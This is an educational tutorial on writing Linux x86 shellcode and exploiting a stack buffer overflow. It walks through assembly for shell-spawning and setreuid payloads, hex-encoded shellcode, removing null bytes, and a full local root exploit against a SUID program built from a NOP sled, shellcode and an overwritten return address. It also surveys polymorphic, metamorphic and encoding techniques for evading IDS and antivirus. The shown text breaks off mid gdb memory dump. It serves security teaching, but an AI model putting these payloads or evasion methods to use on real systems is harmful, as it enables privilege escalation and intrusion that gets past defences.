This section will limit the discussion of the payload used to exploit stack based buffer overflows in binary, machine-readable program. In this program, the shellcode must also be machine-readable. The shellcode cannot contain any null bytes (0x00). Null (‘\0’) is a string delimiter which instructs all C string functions (and other similar implementations), once found, will stop processing the string (a null-terminated string). Depending on the platform used, not just the NULL byte, there are other delimiters such as linefeed (LF-0x0A), carriage return (CR-0x0D), backslash ( \ ) and NOP (No Operation) instruction that must also be considered when creating a workable shellcode. In the best situations the shellcode may only contain alphanumeric characters. Fortunately, there are several programs called Encoder that can be used to eliminate the NULL and other delimiter characters.
In order to be able to generate machine code that really works, you have to write the assembly code differently, but still have it serve its purpose. You need to do some tricks here and there to produce the same result as the optimal machine code.
Since it’s important that the shellcode should be as small as possible, the shellcode writer usually writes the code in the assembly language, then extracting the opcodes in the hexadecimal format and finally using the code in a program as string variables. Reliable standard libraries are not available for shellcodes; we usually have to use the kernel syscalls (system call) of the operating system directly. Shellcode also is OS and architecture dependent. Workable shellcode also must consider bypassing the network system protection such as firewall and Intrusion Detection System (IDS).
Creating a shellcode: Making the code portable
Writing shellcode is slightly different from writing normal assembly code and the main one is the portability issue. Since we do not know which address we are at, it is not possible to access our data and even more impossible to hardcode a memory address directly in our program. We have to apply a trick to be able to make shellcode without having to reference the arguments in memory the conventional way, by giving their exact address on the memory page, which can only be done at compile time. Although this is a significant disadvantage, there are always workarounds for this issue. The easiest way is to use a string or data in the shellcode as shown in the following simple example.
.section .data
#only use register here...
.section .text
.globl _start
jmp dummy
_start:
#pop register, so we know the string location
#Here we have assembly instructions which will use the string
dummy:
call _start
.string "Simple String"
What is occurring in this code is that we jmp to the label dummy and then from there call _start label. Once we are at the _start label, we can pop a register which will cause that register to contain the location of our string. CALL is used because it will automatically store the return address on the stack. As discussed before, the return address is the address of the next 4 bytes after the CALL instruction. By placing a variable right behind the call, we indirectly push its address on the stack without having to know it. This is a very useful trick when we do not know where is our code will be executed from. The code arrangement example using C can be illustrated as the following.
Example:
void main(int argc, char **argv)
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
/*int execve(char *file, char *argv[], char *env[ ])*/
execve(name[0], name, NULL);
exit(0);
}
Registers usage:
EAX: 0xb – syscall number.
EBX: Address of program name (address of name[0]).
ECX: Address of null-terminated argument-vector, argv (address of name).
EDX: Address of null-terminated environment-vector, env/enp (NULL).
In this program, we need:
String /bin/sh somewhere in memory.
An Address of the string.
String /bin/sh followed by a NULL somewhere in memory.
An Address of address of string.
NULL somewhere in memory.
To determine address of string we can make use of instructions using relative addressing. We know that call instruction saves EIP on the stack and jumps to the function so:
Use jmp instruction at the beginning of shell code to CALL instruction.
call instruction right before /bin/sh string.
call jumps back to the first instruction after jump.
Now the address of /bin/sh should be on the stack.
A trick to determine the address of string
Figure 1: A trick to determine the address of string.
If you are going to write code more complex than just spawning a simple shell, you can put more than one .string behind the CALL. Here, you know the size of those strings and can therefore calculate their relative locations once you know where the first string is located. With this knowledge, let’s try creating a simple shellcode that spawn a shell. The main points here are the similar process and steps that can be followed to create shellcodes. The following is a simple program example to spawn a shell in assembly (AT&T/Linux).
#assembly (AT&T/Linux) for spawning a shell
####### testshell2.s ############
.section .data
.section .text
.globl _start
_start:
xor %eax, %eax #clear register
mov $70, %al #setreuid is syscall 70
xor %ebx, %ebx #clear register, empty
xor %ecx, %ecx #clear register, empty
int $0x80 #interrupt 0x80
jmp ender
starter:
popl %ebx #get the address of the string, in %ebx
xor %eax, %eax #clear register
mov %al, 0x07(%ebx) #put a NULL where the N is in the string
movl %ebx, 0x08(%ebx) #put the address of the string to where the AAAA is
movl %eax, 0x0c(%ebx) #put 4 null bytes into where the BBBB is
mov $11, %al #execve is syscall 11
lea 0x08(%ebx), %ecx #load the address of where the AAAA was
lea 0x0c(%ebx), %edx #load the address of the NULLS
int $0x80 #call the kernel
ender:
call starter
.string "/bin/shNAAAABBBB" #16 bytes of string...
Basically, before the call starter the memory arrangement should be something like this (Little Endian):
Memory arrangement for our shellcode
Figure 2: Memory arrangement for our assembly code.
When the starter: portion is executed the memory arrangement should be something like this:
Memory arrangement for our shellcode
Where:
a
- Address of the string
Figure 3: Memory arrangement for our shellcode.
Let compile and link the program and then disassemble it to get the equivalent hexadecimal opcodes.
[bodo@lethalcode testbed8]$ as testshell2.s -o testshell2.o
[bodo@lethalcode testbed8]$ ld testshell2.o -o testshell2
[bodo@lethalcode testbed8]$ objdump -d testshell2
testshell2: file format elf32-i386
Disassembly of section .text:
08048074 <_start>:
8048074: 31 c0 xor %eax, %eax
8048076: b0 46 mov $0x46, %al
8048078: 31 db xor %ebx, %ebx
804807a: 31 c9 xor %ecx, %ecx
804807c: eb 16 jmp 8048094 <ender>
0804807e <starter>:
804807e: 5b pop %ebx
804807f: 31 c0 xor %eax, %eax
8048081: 88 43 07 mov %al, 0x7(%ebx)
8048084: 89 5b 08 mov %ebx, 0x8(%ebx)
8048087: 89 43 0c mov %eax, 0xc(%ebx)
804808a: b0 0b mov $0xb, %al
804808c: 8d 4b 08 lea 0x8(%ebx), %ecx
804808f: 8d 53 0c lea 0xc(%ebx), %edx
8048092: cd 80 int $0x80
08048094 <ender>:
8048094: e8 e5 ff ff ff call 804807e <starter>
8048099: 2f das
804809a: 62 69 6e bound %ebp, 0x6e(%ecx)
804809d: 2f das
804809e: 73 68 jae 8048108 <ender+0x74>
80480a0: 4e dec %esi
80480a1: 41 inc %ecx
80480a2: 41 inc %ecx
80480a3: 41 inc %ecx
80480a4: 41 inc %ecx
80480a5: 42 inc %edx
80480a6: 42 inc %edx
80480a7: 42 inc %edx
80480a8: 42 inc %edx
...
Next, arrange the hexadecimal opcodes in char type array (C string).
char code[ ] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42";
Finally insert the shellcode into our test program, compile and run.
/*test.c*/
#include <unistd.h>
char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42";
int main(int argc, char **argv)
{
/*creating a function pointer*/
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
[bodo@lethalcode testbed8]$ gcc -g test.c -o test
[bodo@lethalcode testbed8]$ execstack -s test
[bodo@lethalcode testbed8]$ ./test
sh-3.00$
Well it works. Now, let try another example by using a simple C program. In this example we are using system call for exit(0), that is exit with no error and the program is shown below.
/* exit.c */
#include <unistd.h>
int main()
{
exit(0);
}
Do some verification.
[bodo@lethalcode testbed7]$ gcc -g exit.c -o exit
[bodo@lethalcode testbed7]$ execstack -s exit
[bodo@lethalcode testbed7]$ ./exit
[bodo@lethalcode testbed7]$ echo $?
0
[bodo@lethalcode testbed7]$
Another verification.
#include <unistd.h>
int main()
{
exit(1);
}
[bodo@lethalcode testbed7]$ gcc -g exit.c -o exit
[bodo@lethalcode testbed7]$ execstack -s exit
[bodo@lethalcode testbed7]$ ./exit
[bodo@lethalcode testbed7]$ echo $?
1
The first thing we need to know is the Linux system call for exit() and that can be found in unistd.h. System call is the services provided by Linux kernel and just like API’s in Windows, you call them with different arguments. In C programming, it often uses functions defined in libc which provides a wrapper for many system calls. Linux manual page of section 2 provides more information about system calls. To get an overview, try using “man 2” at the command shell. It is also possible to invoke syscall() function directly. Each system call has a function number defined in <syscall.h> or <unistd.h>. Internally, system call is invoked by software interrupt 0x80 to transfer control to the kernel. System call table is defined in Linux kernel source file “arch/i386/kernel/entry.S ”.
For our example we need just one system call and that is exit() (terminate the current process and exit with exit code) and its system call number is 1 and the argument is 0, (0 means the program exit normally, non-zero means program exit with an error). They will be stored in eax, ebx registers respectively. With this knowledge, let create the program in assembly.
######testshell.s#######
#assembly code for exit() system call, AT&T/Linux
.section .data
.section .text
.globl _start
jmp dummy
_start:
popl %ebx #gets the "X" address
xor %eax, %eax #clear the eax register
mov %eax, 0x01(%ebx) #move NULL to the end of the "X"
mov $1, %eax #move 1 into %eax
mov $0, %ebx #move 0 into %ebx
int $0x80 #interupt 0x80
dummy:
call _start
.string "X"
Then compile and link this assembly program and next, disassemble the executable.
[bodo@lethalcode testbed7]$ as testshell.s -o testshell.o
[bodo@lethalcode testbed7]$ ld testshell.o -o testshell
[bodo@lethalcode testbed7]$ objdump -d testshell
testshell: file format elf32-i386
Disassembly of section .text:
08048074 <_start-0x2>:
8048074: eb 12 jmp 8048088 <dummy>
08048076 <_start>:
8048076: 5b pop %ebx
8048077: 31 c0 xor %eax, %eax
8048079: 89 43 01 mov %eax, 0x1(%ebx)
804807c: b8 01 00 00 00 mov $0x1, %eax
8048081: bb 00 00 00 00 mov $0x0, %ebx
8048086: cd 80 int $0x80
08048088 <dummy>:
8048088: e8 e9 ff ff ff call 8048076 <_start>
804808d: 58 pop %eax
...
Extract the shellcode; rearrange the hex in char string format. And each set of hexadecimal value represents our assembly instruction. Using hexadecimal values we can put any ASCII value in the range of 0-255 in one byte.
\xeb\x12\x5b\x31\xc0\x89\x43\x01\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd
\x80\xe8\xe9\xff\xff\xff\x58
Eliminating the NULL Bytes
Unfortunately in our shellcode, there are NULL bytes and operand. Placing small values into larger registers is the most common error which produced NULL bytes in shellcode programming. In this example we move the 8 bits value $1 (a byte) into the 32-bit %eax register. This will cause our shellcode to produce three NULL bytes. It is better always use the smallest register when inserting or moving a value in shell coding. For NULL bytes, we can easily remove them by taking an 8-bit register instead of 32 bits. So replace the %eax to %al, change the mov to movb.
######testshell.s#######
#assembly code for exit() system call, AT&T/Linux
.section .data
.section .text
.globl _start
jmp dummy
_start:
popl %ebx #gets the "X" address
xor %eax, %eax #clear the eax register
movb %al, 0x01(%ebx) #move NULL to the end of the "X"
movb $1, %al #move 1 into %eax
mov $0, %ebx #move 0 into %ebx
int $0x80 #interupt 0x80
dummy:
call _start
.string "X"
Again, compile and disassemble it.
[bodo@lethalcode testbed7]$ as testshell.s -o testshell.o
[bodo@lethalcode testbed7]$ ld testshell.o -o testshell
[bodo@lethalcode testbed7]$ objdump -d testshell
testshell: file format elf32-i386
Disassembly of section .text:
08048074 <_start-0x2>:
8048074: eb 0f jmp 8048085 <dummy>
08048076 <_start>:
8048076: 5b pop %ebx
8048077: 31 c0 xor %eax, %eax
8048079: 88 43 01 mov %al, 0x1(%ebx)
804807c: b0 01 mov $0x1, %al
804807e: bb 00 00 00 00 mov $0x0, %ebx
8048083: cd 80 int $0x80
08048085 <dummy>:
8048085: e8 ec ff ff ff call 8048076 <_start>
804808a: 58 pop %eax
...
Rearrange the shellcode.
\xeb\x0f\x5b\x31\xc0\x88\x43\x01\xb0\x01\xbb\x00\x00\x00\x00\xcd\x80\xe8\xec\xff\xff\xff\x58
Well, we still have NULL bytes here. It is caused by the mov operand. When we want the ebx to represent a 0 value instead of NULL we can exclusive ORing the same register as shown below:
xor %ebx, %ebx
And the result will be empty %eax instead of NULL. Keep in mind that 0 and NULL values mean differently. Let replace the mov $0x0, %ebx to xor %ebx, %ebx.
######testshell.s#######
#assembly code for exit() system call, AT&T/Linux
.section .data
.section .text
.globl _start
jmp dummy
_start:
popl %ebx #gets the "X" address
xor %eax, %eax #clear the eax register
movb %al, 0x01(%ebx) #move NULL to the end of the "X"
movb $1, %al #move 1 into %eax
xor %ebx, %ebx #move 0 into %ebx
int $0x80 #interupt 0x80
dummy:
call _start
.string "X"
Recompile and re-link. Disassemble the program.
[bodo@lethalcode testbed7]$ ld testshell.o -o testshell
[bodo@lethalcode testbed7]$ objdump -d testshell
testshell: file format elf32-i386
Disassembly of section .text:
08048074 <_start-0x2>:
8048074: eb 0c jmp 8048082 <dummy>
08048076 <_start>:
8048076: 5b pop %ebx
8048077: 31 c0 xor %eax, %eax
8048079: 88 43 01 mov %al, 0x1(%ebx)
804807c: b0 01 mov $0x1, %al
804807e: 31 db xor %ebx, %ebx
8048080: cd 80 int $0x80
08048082 <dummy>:
8048082: e8 ef ff ff ff call 8048076 <_start>
8048087: 58 pop %eax
...
Rearrange the shellcode.
\xeb\x0c\x5b\x31\xc0\x88\x43\x01\xb0\x01\x31\xdb\xcd\x80\xe8\xef\xff\xff\xff\x58
Now we don’t have NULL byte anymore. So let test our shellcode.
/*test.c*/
#include <unistd.h>
char testshcode[ ]="\xeb\x0c\x5b\x31\xc0\x88\x43\x01\xb0\x01\x31"
"\xdb\xcd\x80\xe8\xef\xff\xff\xff\x58";
int main(int argc, char *argv[])
{
/*function pointer*/
int (*funct)();
funct = (int(*)())testshcode;
(int)(*funct)();
return 0;
}
Compile and run the program.
[bodo@lethalcode testbed7]$ gcc -g test.c -o test
[bodo@lethalcode testbed7]$ execstack -s test
[bodo@lethalcode testbed7]$ ./test
[bodo@lethalcode testbed7]$ echo $?
0
Well, it works. For exit(1), change the following assembly code:
xor %ebx, %ebx
To
movb $1, %bl
Recompile and re-link the assembly program. Disassemble it, only three bytes change. The following is the shellcode.
\xeb\x0c\x5b\x31\xc0\x88\x43\x01\xb0\x01\xb3\x01\xcd\x80\xe8\xef\xff\xff\xff\x58
Then replace the shellcode in the test.c program. Recompile and rerun the program.
[bodo@lethalcode testbed7]$ gcc -g test.c -o test
[bodo@lethalcode testbed7]$ execstack -s test
[bodo@lethalcode testbed7]$ ./test
[bodo@lethalcode testbed7]$ echo $?
1
Well, we have verified that our shellcode is functioning and you can see that a shellcode is a group of instructions which can be executed while another program is running.
Fortunately, there are sites that provide readily available shellcodes for various types of exploits and platforms. There are also programs that can be used to generate shellcodes that suit to our need. So don’t mess up yourself! Check out the links at the end of this Module.
More Advanced Techniques
In the real situations, network system has many detection and filtering modules or devices such as firewall, anti-virus and IDS. Most of the basic shellcodes construct will fail when going through these systems. But the shellcodes development not static as well. In this section we will try to review some of the advanced techniques used in the development of the shellcodes in order to evade various normalization and signature based security systems that they encounter along the path to the target application and make the codes stealthy. These techniques include:
Utilizing readily available system resources.
Alphanumeric shellcode.
Encrypt the shellcode.
Polymorphic shellcodes.
Metamorphic shellcode.
Utilizing System Resources
Exploits may fully utilize the resources provided by the target to fully mimic the normal application behavior. For example the exploit may use the targets protocol support and added features to disguise their payloads, including encoding, compression, and encryption. If the target supports any transport compression for example, the payload may be compressed in the stream and decompressed by the server before the vulnerable condition is triggered. The exploit examples include file format vulnerabilities and media-based protocols server vulnerabilities. Many protocol server implementations offer encoding schemes to support data types that require more than the real data. Simple authorization mechanisms that do not use encryption will most likely use simple encoding schemes such as Unicode (UTF) and Base64. If the target offers any form of encryption, the payload may also use that medium instead of the clear text transport medium, and will most likely sneak by the majority of IDS systems such as file format vulnerabilities. The most widely used may be the social engineering techniques that send an encrypted and compressed exploit as an email attachment1which the email itself looks perfectly legitimate.
Alphanumeric
This method can be used to create exploit code using only printable ASCII characters. In general an alphanumeric code is a series of letters and numbers (hence the name) which are written in a form understandable and processable by a computer. For example, one such alphanumeric code is ASCII. More specifically, in an exploit code terminology alphanumeric code is machine code that is written so that it assembles into entirely readable ASCII-letters such as "a"-"z", "A"-"Z", "1"-"9", "#", "!", "@", and so on. This is possible to do with a very good understanding of the assembly language for the specific computer platform that the code is intended for. This code is used in shellcodes with the intent of fooling applications, such as Web forms, into accepting valid and legal code used for exploit.
Encryption
In cryptography, encryption is the process of obscuring information to make it unreadable without certain knowledge of how to decrypt. While encryption has been used to protect communications for centuries, only organizations and individuals with an extraordinary need for secrecy have made use of it. In the mid-1970s, strong encryption emerged from the sole preserve of secretive government agencies into the public domain, and is now employed in protecting widely-used systems, such as Internet e-commerce, mobile telephone networks and bank Automatic Teller Machines data communication. Nowadays a common use of the encryption protocols are ssl and ssh. Another consideration is protection against traffic analysis.
In exploit world the encryption provided by encoder, in simplest form it tries to eliminate NULLs and other user-defined characters out of shellcode. It most basic algorithm uses a simple XOR and includes a built-in decoder routine. It is usually possible to remove NULL characters in the first place by using the right register size as explained before but it is not always the case when we consider other characters available in standard character sets such as ASCII, EBCDIC and Unicode (and their variant). There may be a need to hide some characters, maybe to avoid signature based recognition or something like that. And finally, encoding the shellcode obscures all clear-text in the shellcode nicely.
Polymorphic
In computer terminology, polymorphic code is code that mutates while keeping the original algorithm intact. It is self-modifying codes. Historically, polymorphic code was invented in 1992 by the Bulgarian cracker Dark Avenger (a pseudonym) as a means of avoiding pattern recognition from antivirus-software.
This technique is sometimes used by computer viruses, shellcodes and computer worms to hide their presence. Most anti virus-software and intrusion detection systems attempt to locate malicious code by searching through computer files and data packets sent over a computer network. If the security software finds patterns that correspond to known computer viruses, worms or exploit codes, it takes appropriate steps to neutralize the threat. Polymorphic algorithms make it difficult for such software to locate the offending code as it constantly mutates.
Encryption is the most commonly used method of achieving polymorphism in code. However, not all of the code can be encrypted as it would be completely unusable. A small portion of it is left unencrypted and used to jumpstart the encrypted software. Anti-virus software targets this small unencrypted portion of code.
Malicious programmers have sought to protect their polymorphic code from this strategy by rewriting the unencrypted decryption engine each time the virus or worm is propagated. Sophisticated pattern analysis is used by anti-virus software to find underlying patterns within the different mutations of the decryption engine in hopes of reliably detecting such malware. As an example, ADMutate program was released by Ktwo. ADMutate designed to defeat IDS signature checking by altering the appearance of buffer overflow exploits. This technique actually borrowed from virus writers. The mutation engine contains the following components:
NOP substituted is with operationally inert commands. For example, Intel Architecture has more than 50 NOP equivalent instructions.
Shell code is encoded by XORing with a randomly generated key.
Return address is modulated. Least significant byte altered to jump into different parts of NOPs.
And the decode Engine:
Need to decode the XOR’ed shellcode.
Engine is also polymorphic that is by varying the assembly instructions to accomplish the same results in different ways and out of order decoding to vary the signature even more.
Metamorphic code
This is a more powerful and technically skillful level of polymorphism. In computer virus terms, metamorphic code is a code that can reprogram itself. Often, it does this by translating its own code into a temporary pseudo-code, and then back to normal code again. This is used by some viruses when they are about to infect new files, and the result is that their "children" or "clone" will never look like them selves. The computer viruses that use this technique do this in order to avoid the pattern recognition of the anti virus-software where the actual algorithm does not change but everything else might.
Metamorphic code is more effective than polymorphic code. This is because most anti virus-software will try to search for known virus-code even during the execution of the code. Metamorphic code can also mean that a virus is capable of infecting executables from two or more different operating systems (such as Windows and Linux) or even different computer architectures. Often, the virus does this by carrying several viruses with itself, so it is really a matter of several viruses that has been 'combined' together into a "supervirus". Similar to the polymorphic, metamorphic also use encoder and decoder. Worms and virii have used morphing engines for decades to evade signature based Anti Virus systems. This same techniques used in exploit codes that can be used to evade other simple signature-based security systems, such as Intrusion Detection Systems.
Buffer over flow tutorial
THE VULNERABLE AND THE EXPLOIT
Warning: All the security setting for buffer overflow protection (non-executable stack and randomization of the certain portion of memory addresses) of the test Linux Fedora machine used in this section has been disabled for the educational purpose of the demonstration. Do not do this on your production machines! OS: Fedora 3, 2.6.11.x kernel with several updates.
CLICK HERE
With the knowledge that we supposedly have acquired, let test the stack based buffer overflow in the real vulnerable program.
SOME BACKGROUND STORY OF THE SUID
In certain circumstances, unprivileged users must be able to accomplish tasks that require privileges. An example is the passwd program, which allows normal user to change their password. Changing a user’s password requires modifying the password field in the /usr/bin/passwd file. However, you should not give a user access to change this file directly because the user could change everybody else’s password as well. To get around these problems, Linux/Unix allows programs to be endowed with privilege. Processes executing these programs can assume another UID (User Identifier) or GID (Group Identifier) when they’re running. A program that changes its UID is called a SUID program (set-UID); a program that changes its GID is called a SGID program (set-GID). A program can be both SUID and SGID at the same time. In Windows it may be similar to RunAs. When a SUID program is run, its effective UID becomes that of the owner of the file, rather than of the user who is running it.
THE POSSIBLE PROBLEM
Any program can be SUID/ SGID, or both SUID and SGID. Because this feature is so general, SUID/SGID can open up some interesting security problems. For example, any user can become the superuser simply by running a SUID copy of csh that is owned by root (you must be root to create a SUID version of the csh). Executable SUID and SGID files or program when run by a normal user may have access to resources not normally available to the user running the program (note the owner vs user of the files). For example:
[bodo@lethalcode /]$ls -l /home/bodo/testbed2/test
-rwsr-xr-x 1 root root 6312 Feb 15 23:11 /home/bodo/testbed2/test
[bodo@lethalcode /]$ls -l /sbin/netreport
-rwxr-sr-x 1 root root 10851 Nov 4 13:48 /sbin/netreport
[bodo@lethalcode /]$
The s in the owner’s and group’s permission field in place of the usual x as in the listing above indicates that executable test program is SUID and netreport is SGID. If run by a normal user, the executable will run with the privileges of the owner/group of the file, in this case as root. In this case the program will have access to the same system resources as root (but the limit is defined by what the program can do). These SGID and SUID programs may be used by a cracker as a normal user to gain root privilege. You can try listing all of the SUID and SGID files on your system with the following find command:
[root@lethalcode /]#find / -perm -004000 -o -perm -002000 -type f
This find command starts in the root directory (/) and looks for all files that match mode 002000 (SGID) or mode 004000 (SUID). The -type f option causes the search to be restricted to files. For the basic attack you can use the root owned, world writable files and directories. These files and directories can be listed by using the following find command:
[root@lethalcode /]#find / -user root -perm -022
You can set/unset SUID or SGID privileges with the chmod command. For example:
chmod 4xxx file_name or chmod +s file_name - SUID
chmod 2xxx file_name - GUID
EXAMPLE #1-EXPLOIT DEMONSTRATION
In our exploit example we are going to overflow the stack using a SUID program. In this exploit we as normal user are going to spawn a local root shell by overflowing the program owned by root. The vulnerable program used is shown below. This is a SUID program.
/* test.c */
#include <unistd.h>
int main(int argc, char *argv[])
{
char buff[100];
/*if no argument…*/
if(argc <2)
{
printf("Syntax: %s <input string>\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
return 0;
}
The shellcode used to spawn a root shell is as follows:
\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89
\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
In our vulnerable program we have declared an array buff[100] of size 100. We use vulnerable functions, strcpy(), that do not do the bound checking of the input. We are going to overflow the stack of this program by supplying more than 100 characters until the return address is properly overwritten and pointing back to the stack which we have stored our ‘root spawning’ shellcode. By simple observation and calculation, the stack frame for this program should be as follows:
Spawning a root shell exploit - a stack layout
Figure 1: Spawning a root shell exploit - a stack layout.
Let run the program with same sample inputs. Firstly, compile the test.c, change the owner and group to root and suid the program then change back to normal user, so that we as normal user can run the program that owned by root.
[bodo@lethalcode testbed2]$ gcc -g test.c -o test
[bodo@lethalcode testbed2]$ ls -l
total 20
-rwxrwxr-x 1 bodo bodo 6312 Feb 25 23:18 test
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c
[bodo@lethalcode testbed2]$ su
Password: *****
[root@lethalcode testbed2]# chown 0:0 test
[root@lethalcode testbed2]# ls -l
total 20
-rwxrwxr-x 1 root root 6312 Feb 25 23:18 test
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c
[root@lethalcode testbed2]# chmod 4755 test
[root@lethalcode testbed2]# ls -l
total 20
-rwsr-xr-x 1 root root 6312 Feb 25 23:18 test
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c
[root@lethalcode testbed2]# exit
exit
[bodo@lethalcode testbed2]$
From the previous stack layout, in order to overwrite the return address we need to supply 108 characters or at least 104 to start the overwriting. Let verify this fact by running the program with some sample inputs.
[bodo@lethalcode testbed2]$ ls -l
total 20
-rwsr-xr-x 1 root root 6312 Feb 15 23:11 test
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c
[bodo@lethalcode testbed2]$ ls -F -l
total 20
-rwsr-xr-x 1 root root 6312 Feb 25 23:18 test*
-rwxr-xr-x 1 root root 219 Feb 15 22:38 test.c*
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x100'`
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x104'`
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x108'`
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x116'`
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x120'`
[bodo@lethalcode testbed2]$ ./test `perl -e 'print "A"x124'`
Segmentation fault
[bodo@lethalcode testbed2]$
Well, we need at least 124 bytes instead of 104. So what happened here? Let examine the program using gdb.
[bodo@lethalcode testbed2]$ gdb -q test
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x080483d0 <main+0>: push %ebp
0x080483d1 <main+1>: mov %esp, %ebp
0x080483d3 <main+3>: sub $0x78, %esp
0x080483d6 <main+6>: and $0xfffffff0, %esp
0x080483d9 <main+9>: mov $0x0, %eax
...
[Trimmed]
...
0x08048425 <main+85>: add $0x10, %esp
0x08048428 <main+88>: mov $0x0, %eax
0x0804842d <main+93>: leave
0x0804842e <main+94>: ret
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
(gdb)
By disassembling the main(), we can see that 120 (0x78) bytes have been reserved instead of 100. There are some changes here; the stack is aligned by 16 bytes after gcc 2.96. So when main() function is called, the space for a local variable is padded by 16 bytes. Newer version of gcc may also behave differently. It is better for you to use your gdb to verify this. You also can test this by running the following program. Change the n to different values and verify the buffer reserved on the stack by using gdb.
/****testbuf.c******/
int main(int argc, char *argv[])
{
char buffer[n];
strcpy(buffer, argv[1]);
return 0;
}
Back to our program, the stack now should be like this:
Spawning a root shell exploit - stack's content arrangement
Figure 2: Spawning a root shell exploit - stack's content arrangement.
So, we need at least 124 bytes to start overwriting the saved ebp and 128 bytes to overwrite the return address. Our stack arrangement should be something like the following:
NOPs (72 bytes) + Shellcode (32 bytes) + ‘A’ characters (20 bytes) + Return address (4 bytes-pointing back to the NOPs area) = 72 + 32 + 20 + 4 = 128 bytes
Using the perl’s print command for easiness, our input/argument arrangement is as follows. This is a one line command.
`perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62
\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
In order to make our chances higher in hitting our shellcodes, we pad at the beginning of the stack with NOP (executable no-operation instruction-\x90 for x86). Though guess work might still be required, the return address must not be as precise anymore; it is enough to hit the NOPs area. Now our stack layout should be something like the following:
Spawning a root shell exploit - stack's content arrangement with NOPs and shellcodes
Figure 3: Spawning a root shell exploit - stack's content arrangement with NOPs and shellcodes.
Other Intel x86 instructions that can be used to replace NOPs (because NOPs are easily detected by Intrusion Detection System – IDS) can be found at the following links: NOP equivalent instructions or you can check the processor’s instruction set documentation. Next, let verify the return address of our program by running it in gdb with some sample input/argument as constructed previously.
[bodo@lethalcode testbed2]$ gdb -q test
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x80483ec: file test.c, line 7.
(gdb) r `perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f
\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
Starting program: /home/bodo/testbed2/test `perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69
\x89\xe3\x52\x53\x89\xe1\x8d\x42x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'`
Breakpoint 1, main (argc=2, argv=0xbffffa54) at test.c:7
7 if(argc <2)
(gdb) step
11 strcpy(buff, argv[1]);
(gdb) x/200x $esp
0xbffff940: 0x6f6e2800 0x0029656e 0xbffff994 0x00000000
0xbffff950: 0xbffff994 0x00000000 0x00000000 0x00000000
0xbffff960: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff970: 0x00000000 0x00000000 0x0177ff8e 0xbffffa00
0xbffff980: 0x0066e4f8 0x00000000 0x00000000 0x00000000
...
[Trimmed]
...
0xbffffa40: 0x08048484 0x006643d0 0xbffffa4c 0x0066af11
0xbffffa50: 0x00000002 0xbffffb5a 0xbffffb73 0x00000000
0xbffffa60: 0xbffffbf6 0xbffffc08 0xbffffc18 0xbffffc23
0xbffffa70: 0xbffffc31 0xbffffc5b 0xbffffc6e 0xbffffc78
0xbffffa80: 0xbffffe3b 0xbffffe47 0xbffffe52 0xbffffea4
0xbffffa90: 0xbffffebe 0xbffffeca 0xbffffee2 0xbffffef7
0xbffffaa0: 0xbfffff08 0xbfffff11 0xbfffff44 0xbfffff54
0xbffffab0: 0xbfffff5c 0xbfffff69 0xbfffffac 0xbfffffce
0xbffffac0: 0x00000000 0x00000010 0x0383f3ff 0x00000006
0xbffffad0: 0x00001000 0x00000011 0x00000064 0x00000003
...
[Trimmed]
...
0xbffffb30: 0x00000000 0x0000000f 0xbffffb4b 0x00000000
0xbffffb40: 0x00000000 0x00000000 0x69000000 0x00363836
---Type <return> to continue, or q <return> to quit---
0xbffffb50: 0x00000000 0x00000000 0x682f0000 0x2f656d6f
0xbffffb60: 0x6f646f62 0x7365742f 0x64656274 0x65742f32
0xbffffb70: 0x90007473 0x90909090 0x90909090 0x90909090
0xbffffb80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffba0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbb0: 0x90909090 0x90909090 0x31909090 0xb0c389c0
0xbffffbc0: 0x3180cd17 0x6e6852d2 0x6868732f 0x69622f2f
